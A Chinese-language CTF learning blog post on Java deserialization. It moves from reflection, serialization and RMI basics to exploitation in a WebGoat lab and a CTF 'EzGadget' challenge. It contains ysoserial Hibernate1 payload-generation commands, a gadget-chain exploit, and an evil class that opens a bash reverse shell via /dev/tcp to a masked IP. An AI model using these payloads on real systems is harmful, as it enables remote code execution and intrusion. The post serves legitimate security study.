文章首发先知社区——https://xz.aliyun.com/t/10508

0x00 引言

打比赛遇到了,之前学习反序列化的内容时就一直计划着将Java反序列化进行学习总结一下,就是在学习过程中遇到的问题以及一些CTF案例进行总结和记录。

0x01 Java反序列化基础

由于学了Java的只是了解代码,并不了解基层的代码执行情况,也就是Java代码如何运行,只有一些浅显的理解。在学习反序列化漏洞前也是对这部分基础进行了多一点的了解。

什么是JMX?

JMX(Java Management Extensions),就是Java的管理扩展。用来管理和检测Java程序。
JMX简单架构

管理系统是通过JMX来管理系统中的各种资源的。
JMX有的应用架构有三层

分布层(Distributed layer)包含使管理系统和JMX代理通信的组件
代理层(Agent layer)包括代理和Mbean服务器
指令层(Instrumentation layer)包括代表可管理资源的MBean
PS:MBean:符合JMX规范的Java类

JMX通知是Java对象,通过它可以从MBean和代理向那些注册了接受通知的对象发送通知。对接受事件感兴趣的对象是通知监听器,是实现了javax.management.NotificationListener接口的类
JMX提供了两种机制来为MBean提供监听器以注册来接受通知:

  • 实现javax.management.NotificationBroadcaster接口
  • 继承javax.management.NotificationBroadcasterSupport

本地Java虚拟机如何运行远程的Java虚拟机的代码

Java代码运行时需要有jre,C/C++代码运行是编写好代码后在程序内存中运行,而Java是在特定的Java虚拟机中运行,在虚拟机中运行的好处就是可以跨平台。只需要编译一次,即可在任何存在Java环境的系统中运行jar包。这也就是Java十分方便的一点。
在Java虚拟机中,运行过程如下
先将Java代码编译成字节码(class文件),这是虚拟机能够识别的指令,再由虚拟机内部将字节码翻译成机器码,所以我们只需要有Java字节码,就可以在不同平台的虚拟机中运行。

class文件被jdk所用的HotSpot虚拟机全部加载,将文件中的Java类放置在方法区,最后编译成机器码执行。

Java反射

反射:将类的属性和方法映射成相应的类。
获取class类的三种方法

  1. 类名.class
  2. 对象名.getClass()
  3. Class.forName(“需要加载的类名”)

使用以上三种方法任意一个来获取特定的类的class类。即这个类对应的字节码

  • 调用class对象的getConstructor(Class<?>... parameterTypes)获取构造方法对象
  • 调用构造方法类ConstructornewInstance(Object.... initargs)方法新建对象
  • 调用Class对象的getMethod(String name, Class<?>... parameterTypes)获取方法对象
    利用类对象创建对象
    package com.java.ctf;
    
    import java.lang.reflect.*;
    
    public class CreatObject {
        public static void main(String[] args) throws Exception{
            Class UserClass = Class.forName("test.User");
            Constructor constructor = UserClass.getConstructor(String.class);
            User user = (User) constructor.newInstance("m0re");
            System.out.println(user.getName());
        }
    }

基础反射(数组的反射)

Java反射的主要组成部分有4个,分别是Class, Field, Constructor, Method

package com.java.ctf;

public class game {
    public static void main(String[] args){
        int [] a1 = new int[]{1,2,3};
        int [] a2 = new int[5];
        int [][] a3 = new int[2][3];
        System.out.println(a1.getClass() == a2.getClass());//true
        System.out.println(a1.getClass());//class [I
        System.out.println(a3.getClass());//class [[I
        System.out.println(a1.getClass().getSuperclass() == a3.getClass().getSuperclass());//true
        System.out.println(a2.getClass().getSuperclass());//class java.lang.Object

    }
}

可以看出,不同的维,class不同,但是父类都是Object
一维数组不能直接转换成Object[]

一个例子
如果使用Java代码来执行系统命令。

package com.java.ctf;

public class game {
    public static void main(String[] args) throws Exception{
        Runtime.getRuntime().exec("notepad.exe");
    }
}

执行的命令是打开记事本。
如果使用的idea进行编写代码的话,会发现这里的提示

一般正常的流程应当是,先进行实例化对象,再调用exec()方法。执行系统命令。

Runtime runtime = Runtime.getRuntime();

runtime.exec("notepad.exe");

这部分的相应的反射代码实际上为

Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);

Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime, "notepad.exe");

getMethod(“方法名”, 方法类型)
invoke(某个对象实例, 传入参数)

第一句获取runtime的实例,方便被invoke调用。
第二句就是调用第一句生成的runtime实例化后的exec()方法

反序列化函数实例

分别使用对象输入/输出流来实现序列化和反序列化操作
序列化:ObjectOutputStream类的writeObject(Object obj)方法,将对象序列化成字符串数据。
反序列化:ObjectInputStream类的readObject(Object obj)方法,将字符串数据反序列化长城对象。

与php序列化等操作的原理类似。序列化的原理都为了实现数据的持久化,通过反序列化可以把数据永久的的保存在硬盘上。
利用序列化实现远程通信,即在网络上传递对象的字节序列。

// User.java
package com.java.ctf;

import java.io.Serializable;

public class User implements Serializable{
    private String name;

    public void setName(String name) {
        this.name = name;
    }
    public String getName(){
        return name;
    }
    private void readObject(java.io.ObjectInputStream stream) throws Exception{
        stream.defaultReadObject();
        Runtime.getRuntime().exec("calc.exe");
    }
}

//game.java
package com.java.ctf;

import java.io.*;

public class game {
    public static void main(String[] args) throws Exception{
        User user = new User();
        user.setName("m0re");

        FileOutputStream fout = new FileOutputStream("user.bin");
        // 打开user.bin作为文件
        ObjectOutputStream out = new ObjectOutputStream(fout);
        //打开一个文件输入流
        out.writeObject(user);
        //文件输入序列化数据
        out.close();
        FileInputStream fin = new FileInputStream("user.bin");
        ObjectInputStream in = new ObjectInputStream(fin);
        in.readObject();
        in.close();
        fin.close();
    }
}

将User类中Runtime.getRuntime().exec()执行的弹出计算器的命令进行序列化,写入文件user.bin,然后在game.java中读取该文件并使用readObject()方法进行反序列化操作,执行了User中的系统命令,最终成功弹出计算器。

然后看user.bin文件结构
标志是aced0005,经过base64转换之后是rO0AB,这个在后面应用的时候就可以看出来。

序列化版本号和serialVersionUID

JVM通过类名来区分Java类,类名不同的话,就判断不是同一个类,当类名相同时,JVM就会通过序列化版本号来区分Java类,如果序列化版本号相同就是同一个类,不同则为不同的类。

理解:在一个班级中,老师确定一个学生首先是根据学生的姓名来区分,当然无法避免重名的情况,如果重名,则进一步使用学号来区分,学号是唯一的。

在序列化一个对象时,如果没有指定序列化版本号,后期对这个类的源码进行修改并重新编译,会导致修改前后的序列化版本号不一致,因为如果一个类一开始没有指定序列化版本号的话,后面JVM重新指定一版本号给这个类的对象。否则会报错,并抛出异常java.io.InvalidClassException
解决办法:

  1. 从一开始就指定好一个版本号给即将序列化的类。
  2. 如果忘了指定版本号,那么就永远不要修改这个类,不要重新编译。
public class BadAttributeValueExpException extends Exception   {

    private static final long serialVersionUID = -3105272988410493376L;

}

RMI相关

RMI(Remote Method Invocation)是远程方法调用
JNDI(Java Naming and Directory Interface),Java命名与目录接口
JNDI中包含许多RMI,类似于JNDI是图书馆的书架,书架上有很多分类的书。这些书就相当于RMI记录。
实现一个RMI服务器
定义好接口(interface)之后,继承了远程调式,

package com.java.ctf;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface User extends Remote{
    String name(String name) throws RemoteException;
    void sex(String sex) throws RemoteException;
    void nikename(Object secondname) throws RemoteException;
}
package com.java.ctf;


import java.rmi.server.UnicastRemoteObject;
import java.rmi.RemoteException;

public class game extends UnicastRemoteObject implements User {
    public game() throws RemoteException{
        super();
    }
    @Override
    public String name(String name) throws RemoteException{
        return name;
    }
    @Override
    public void sex(String sex) throws RemoteException{
        System.out.println("you are a "+ sex);
    }
    @Override
    public void nikename(Object secondname) throws RemoteException{
        System.out.println("your second name is "+ secondname);
    }
}
package com.java.ctf;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class Server {
    public static void main(String[] args) throws Exception{
        String url = "rmi://192.168.88.1:12581/User";
        User user = new game();
        LocateRegistry.createRegistry(12581);
        Naming.bind(url, user);
        System.out.println("the RMI Server is running.....");
    }
}

启动服务后,LocateRegistry.createRegistry(12581);在JNDI中注册该端口,启动并监听该端口。

这样就运行起来一个简单的RMI监听器

0x02 Java反序列化的利用

webgoat中的反序列化

挑战:以下输入框接收序列化对象(字符串)并对其进行反序列化。

rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l

尝试更改此序列化对象,以便将页面响应延迟 5 秒。

JAVAWEB特征可以作为序列化的标志参考:
一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段java序列化的16进制。

反编译得到源码,查看BOOT-INF/lib/insecure-deserialization-8.2.2.jar,编码是base64

找它的切入点,也就是反序列化的位置
然后追踪到VulnerableTaskHolder.java的代码中,但是在jd-gui中无法访问,所以就直接去GitHub中找源码,发现了这里,只允许使用ping和sleep函数来让系统进行延时。

自定义一个恶意类,其中写入反弹shell的命令或者按照靶场的指示进行延时5s。

//evil.java

class evil implements Serializable {
    // readObject()
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        try {
            Thread.sleep(5000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}

小tips:进行payload生成时,需要先反编译源码,把源码找出来,不管是CTF还是此靶场。
然后生成payload的自建恶意类也需要在这里面创建。不然反序列化出的payload不可用。

package org.dummy.insecure.framework;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;

public class VulnerableTaskHolder implements Serializable {

    private static final long serialVersionUID = 2;

    private String taskName;
    private String taskAction;
    private LocalDateTime requestedExecutionTime;

    public VulnerableTaskHolder(String taskName, String taskAction) {
        super();
        this.taskName = taskName;
        this.taskAction = taskAction;
        this.requestedExecutionTime = LocalDateTime.now();
    }

    @Override
    public String toString() {
        return "org.dummy.insecure.framework.VulnerableTaskHolder [taskName=" + taskName + ", taskAction=" + taskAction + ", requestedExecutionTime="
                + requestedExecutionTime + "]";
    }

    /**
     * Execute a task when de-serializing a saved or received object.
     * @author stupid develop
     */
    private void readObject( ObjectInputStream stream ) throws Exception {
        //unserialize data so taskName and taskAction are available
        stream.defaultReadObject();

        //do something with the data
        System.out.println("restoring task: "+taskName);
        System.out.println("restoring time: "+requestedExecutionTime);

        if (requestedExecutionTime!=null &&
                (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
                        || requestedExecutionTime.isAfter(LocalDateTime.now()))) {
            //do nothing is the time is not within 10 minutes after the object has been created
            System.out.println(this.toString());
            throw new IllegalArgumentException("outdated");
        }

        //condition is here to prevent you from destroying the goat altogether
        if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
                && taskAction.length() < 22) {
            System.out.println("about to execute: "+taskAction);
            try {
                Process p = Runtime.getRuntime().exec(taskAction);
                BufferedReader in = new BufferedReader(
                        new InputStreamReader(p.getInputStream()));
                String line = null;
                while ((line = in.readLine()) != null) {
                    System.out.println(line);
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
}
//Main.java
package org.dummy.insecure.framework;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
// import org.dummy.insecure.framework.VulnerableTaskHolder;

public class Main {
    static public void main(String[] args) {
        try {
            VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 5");
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(go);
            oos.flush();
            byte[] exploit = bos.toByteArray();
            String exp = Base64.getEncoder().encodeToString(exploit);
            System.out.println(exp);
        } catch (Exception e) {

        }
    }
}

注意编译时的Java版本问题,这个目前不是很清楚。

运行得出payload。
还可以直接拿shell,利用bash反弹shell
生成payload使用工具ysoserial.jar,这里使用修改版的。

java -jar ysoserial.jar


利用选1,寻找可用payload选2

java -Dhibernate5 -cp hibernate-core-5.4.28.Final.jar;ysoserial.jar ysoserial.GeneratePayload Hibernate1 "calc.exe" > m0re.bin


生成的bin文件,进行base64编码。

#!/usr/bin/python3
# -*- coding:utf-8 -*-
import base64
file = open("m0re.bin","rb")
access = file.read()
payload = base64.b64encode(access)
print(payload)
file.close()


版本可能不匹配。
也有运行mvn clean package -DskipTests重新编译ysoserial.jar的。可以参考这个地址
还没有了解,先mark了。后续再看。这个关卡就先pass了。还有题目看呢,编译问题就不涉及太多内容了。

EzGadget

因为比赛的时候不会写,Java反序列化一脸懵,所以才来钻研了Java反序列化的基础和简单利用。
直接反编译,审计

public String unser(@RequestParam(name="data", required=true) String data, Model model) throws Exception { byte[] b = Tools.base64Decode(data);
    InputStream inputStream = new ByteArrayInputStream(b);
    ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
    String name = objectInputStream.readUTF();
    int year = objectInputStream.readInt();
    if ((name.equals("gadgets")) && (year == 2021)) {
        objectInputStream.readObject();
    }

这是反序列化的点。
其中反序列化前还需要加个验证。

oos.writeUTF("gadgets");
oos.writeInt(2021);


toString()函数加载字节码,cc链还没有看,准备下次学习一下java自带的一些类,然后再进行深入了解cc链。

引用大佬的exp

import com.ezgame.ctf.tools.ToStringBean;
import ezgame.ctf.bean.User;


import javax.management.BadAttributeValueExpException;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;

public class exp {
    public static void main(String[] args) throws Exception {
        InputStream inputStream = evil.class.getResourceAsStream("evil.class");
        byte[] bytes = new byte[inputStream.available()];
        inputStream.read(bytes);

        ToStringBean sie =new ToStringBean();
        Field bytecodes = Reflections.getField(sie.getClass(),"ClassByte");
        Reflections.setAccessible(bytecodes);
        Reflections.setFieldValue(sie,"ClassByte",bytes);

        BadAttributeValueExpException exception = new BadAttributeValueExpException("exp");
        Reflections.setFieldValue(exception,"val",sie);
				String a=Serialize.serialize(exception);
        System.out.print(a);

    }
}

加载的话,可以使用反弹shell的。

//evil.jaba
package com.ezgame.ctf.exp;

import java.io.IOException;

public class evil {
    static {
        try{
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/xxx.xxx.xx.xxx/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
        }catch (IOException e){
            }
        }
    }
}

总结

感觉Java的知识不是很好掌握,可能是我太菜了,玩不动Java,没有常用Java,所以理解起来有点难,知识点还是一点一点啃吧。

参考链接

https://www.cnblogs.com/sijidou/p/13121305.html
https://blog.csdn.net/qq_43266093/article/details/120883767
https://blog.csdn.net/qq_36241198/article/details/118618001
http://dreamphp.cn/blog/detail?blog_id=31726
https://blog.csdn.net/qq_36241198/article/details/118618001